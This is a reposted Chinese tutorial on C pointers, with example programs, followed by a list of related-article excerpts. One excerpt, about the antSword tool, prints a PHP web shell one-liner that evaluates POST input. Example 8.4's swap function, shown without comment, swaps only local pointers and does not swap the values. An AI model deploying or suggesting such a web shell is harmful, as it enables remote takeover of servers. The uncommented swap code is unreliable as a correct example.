第8章 【C語言】善于利用指針

8.1 指針是什么

由于通過地址能找到所需的變量單元,可以說,地址指向該變量單元。將地址形象化稱為“指針”。

直接按變量名進行的訪問,稱為“直接訪問”方式。

還可以采用另一種稱為“間接訪問”的方式,即將變量i的地址存放在另一變量中,然后通過該變量來找到變量i的地址,從而訪問i變量。

指向就是通過地址來體現的。地址指向該變量單元。

如果有一個變量專門用來存放另一變量的地址,則它稱為“指針變量”。

8.2 指針變量

8.2.2 怎樣定義指針變量

定義指針變量的一般形式為

類型名*指針變量名;

如:int*pointer_1,*pointer_2;

左端的int是在定義指針變量時必須指定的“基類型”。

在定義指針變量時要注意:

(1)指針變量前面的“*”表示該變量為指針型變量。

(2)在定義指針變量時必須指定基類型。

一個變量的指針的含義包括兩個方面,一是以存儲單元編號表示的純地址,一是它指向的存儲單元的數據類型(如int,char,float)。

指向整型數據的指針類型表示為“int*",讀作”指向int的指針“或簡稱”int指針“。

8.2.3 怎樣引用指針變量

例8.2 輸入a和b兩個整數,按先大后小的順序輸出a和b

#include<stdio.h>
int main(){int * p1,*p2,*p,a,b;printf("please enter two integer numbers:");scanf("%d,%d",&a,&b);p1=&a;p2=&b;if(a<b){p=p1;p1=p2;p2=p;    }printf("a=%d,b=%d\n",a,b);printf("max=%d,min=%d\n",*p1,*p2);return 0;
}

8.2.4 指針變量作為函數參數

函數的參數不僅可以是整型、浮點型、字符型等數據,還可以是指針類型。

swap是用戶自定義函數,它的作用是交換兩個變量(a和b)的值。swap函數的兩個形參p1和p2是指針變量。

例8.4 對輸入的兩個整數按大小順序輸出。

#include<stdio.h>
int main(){void swap(int *p1,int *p2);int a,b;int *pointer_1,*pointer_2;printf("please enter two integer numbers:");scanf("%d,%d",&a,&b);pointer_1=&a;pointer_2=&b;if(a<b) swap(pointer_1,pointer_2);printf("max=%d,min=%d\n",*pointer_1,*pointer_2);return 0;
}
void swap(int *p1,int *p2){int *p;p=p1;p1=p2;p2=p;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/34952.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/34952.shtml
英文地址,請注明出處:http://en.pswp.cn/news/34952.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

如何讓你的圖片服務也有類似OSS的圖片處理功能

原文鏈接 前言 有自己機房的公司一般都有一套存儲系統用于存儲公司的圖片、視頻、音頻、文件等數據&#xff0c;常見的存儲系統有以NAS、FASTDFS為代表的傳統文件存儲&#xff0c;和以Minio為代表的對象存儲系統&#xff0c;隨著云服務的興起很多公司逐漸將數據遷移到以阿里云…

二叉樹的性質和完全二叉樹的性質

二叉樹的性質&#xff1a; 在二叉樹的第i層至多有 2 i 1 ( i > 1 ) 2^{i1}(i>1) 2i1(i>1) 深度為k的二叉樹最多有 2 k ? 1 2^k-1 2k?1個結點 對于任意一棵二叉樹T&#xff0c;如果其終端結點數為 n 0 n_0 n0?&#xff0c;度為2的結點數為 n 2 n_2 n2?,則 n 0 …

【劍指 Offer 39】數組中超過一半的數字

題目&#xff1a; 數組中有一個數字出現的次數超過數組長度的一半&#xff0c;請找出這個數字。 你可以假設數組是非空的&#xff0c;并且給定的數組總是存在多數元素。 示例&#xff1a; 輸入: [1, 2, 3, 2, 2, 2, 5, 4, 2] 輸出: 2 思考&#xff1a; 方法一&#xff1a;投…

5.0 Python 定義并使用函數

函數是python程序中的基本模塊化單位&#xff0c;它是一段可重用的代碼&#xff0c;可以被多次調用執行。函數接受一些輸入參數&#xff0c;并且在執行時可能會產生一些輸出結果。函數定義了一個功能的封裝&#xff0c;使得代碼能夠模塊化和組織結構化&#xff0c;更容易理解和…

企業有VR全景拍攝的需求嗎?能帶來哪些好處?

在傳統圖文和平面視頻逐漸疲軟的當下&#xff0c;企業商家如何做才能讓遠在千里之外的客戶更深入、更直接的詳細了解企業品牌和實力呢&#xff1f;千篇一律的紙質材料已經過時了&#xff0c;即使制作的再精美&#xff0c;大家也會審美疲勞&#xff1b;但是你讓客戶遠隔千里&…

(MySQL經驗)之MySQL單表行數最好低于2000w

作為在后端開發&#xff0c;是不是經常聽到過&#xff0c;mysql 單表最好不要超過 2000w,單表超過 2000w 就要考慮數據遷移了&#xff0c;表數據都要到 2000w &#xff0c;查詢速度變得賊慢。 1、建表操作 建一張表 CREATE TABLE person( id int NOT NULL AUTO_INCREMENT PRI…

如何讓ES低成本、高性能?滴滴落地ZSTD壓縮算法的實踐分享

前文分別介紹了滴滴自研的ES強一致性多活是如何實現的、以及如何提升ES的性能潛力。由于滴滴ES日志場景每天寫入量在5PB-10PB量級&#xff0c;寫入壓力和業務成本壓力大&#xff0c;為了提升ES的寫入性能&#xff0c;我們讓ES支持ZSTD壓縮算法&#xff0c;本篇文章詳細展開滴滴…

Python 監控 Windows 服務

Python 監控 Windows 服務 Python 在 Windows 系統上可以使用 wmi 模塊來實現對 Windows 服務的監控。本文將介紹如何使用 Python 監控 Windows 服務&#xff0c;并實現服務狀態的查詢和服務啟停功能。 安裝依賴 在使用 wmi 模塊之前&#xff0c;需要先安裝 wmi包。可以使用…

[excel]vlookup函數對相同的ip進行關聯

一、需求&#xff08;由于ip不可泄漏所以簡化如下&#xff09; 有兩個sheet: 找到sheet1在sheet2中存在的ip&#xff0c;也就是找到有漏洞的ip 二、實現 vlookup函數有4個參數 第一個:當前表要匹配的列&#xff0c;選擇第一個sheet當前行需要處理的ip即可 第二個:第二個shee…

linux內核bitmap之setbit匯編實現

內核版本&#xff1a;kernel 0.12 首先看一段代碼&#xff0c;下面這段代碼來自內核版本0.12的mm/swap.c中&#xff1a; // mm/swap.c #define bitop(name,op) \static inline int name(char * addr,unsigned int nr) \ { \int __res; \__asm__ __volatile__("bt" …

蟻劍antSword-maste下載-安裝-使用-一句話木馬

下載 https://github.com/AntSwordProject/antSword 一句話木馬 hack.php腳本 <?php eval($_POST[attack]);?> 安裝 1、安裝完成后啟動 2、初始化&#xff0c;選擇有源碼的目錄 3、連接

03 什么是預訓練(Transformer 前奏)

博客配套視頻鏈接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 鏈接:https://github.com/nickchen121/Pre-training-language-model 配套博客鏈接:https://www.cnblogs.com/nickchen121/p/15105048.html 預訓練有什么用 機器學…

Linux(Web與html)

域名 DNS與域名&#xff1a; 網絡是基于tcp/ip協議進行通信和連接的 tcp/ip協議是五層協議&#xff1a;應用層–傳輸層—網絡層----數據鏈路層----物理層每一臺主機都有一個唯一的地址標識&#xff08;固定的ip地址&#xff0c;用于區分用戶和計算機。 ip地址&#xff1a;由…

深入淺出:MyBatis的使用方法及最佳實踐

這里寫目錄標題 添加MyBatis框架?持配置連接字符串和MyBatis配置連接字符串配置 MyBatis 中的 XML 路徑 添加業務代碼創建數據庫和表添加用戶實體類添加 mapper 接?添加 UserMapper.xml添加 Service層添加 Controller層 增刪改操作增加操作刪除操作修改操作 添加MyBatis框架?…

JVM 基礎

鞏固基礎&#xff0c;砥礪前行 。 只有不斷重復&#xff0c;才能做到超越自己。 能堅持把簡單的事情做到極致&#xff0c;也是不容易的。 JVM 類加載機制 JVM 類加載機制分為五個部分&#xff1a;加載&#xff0c;驗證&#xff0c;準備&#xff0c;解析&#xff0c;初始化&am…

Hadoop安裝完全分布式搭建

1、安裝Hadoop 上傳Hadoop的指定路徑/root/softwares 解壓安裝 cd /root/softwares && tar -zxvf hadoop-2.7.3.tar.gz -C /usr/local配置環境變量 vim /etc/profile # Hadoop Environment export HADOOP_HOME/usr/local/hadoop-2.7.3 export PATH$PATH:$HADOOP_HOM…

openCV使用c#操作攝像頭

效果如下&#xff1a; 1.創建一個winform的窗體項目&#xff08;框架.NET Framework 4.7.2&#xff09; 2.Nuget引入opencv的c#程序包&#xff08;版本最好和我一致&#xff09; 3.后臺代碼 using System; using System.Collections.Generic; using System.ComponentModel;…

用友-NC-Cloud遠程代碼執行漏洞[2023-HW]

用友-NC-Cloud遠程代碼執行漏洞[2023-HW] 一、漏洞介紹二、資產搜索三、漏洞復現PoC小龍POC檢測腳本: 四、修復建議 免責聲明&#xff1a;請勿利用文章內的相關技術從事非法測試&#xff0c;由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失&#…

Leetcode-每日一題【劍指 Offer 24. 反轉鏈表】

題目 定義一個函數&#xff0c;輸入一個鏈表的頭節點&#xff0c;反轉該鏈表并輸出反轉后鏈表的頭節點。 示例: 輸入: 1->2->3->4->5->NULL輸出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 節點個數 < 5000 解題思路 1.題目要求我們反轉…

Windows下運行Tomcat服務時報GC Overhead Limit Exceeded

根本原因是在新建Tomcat作為Windows服務時&#xff0c;系統默認設置的堆內存太小了&#xff0c;我們打開/bin/service.bat文件&#xff0c;將如下圖所示的默認值改大一些就好了 if "%JvmMs%" "" set JvmMs512 if "%JvmMx%" "" set J…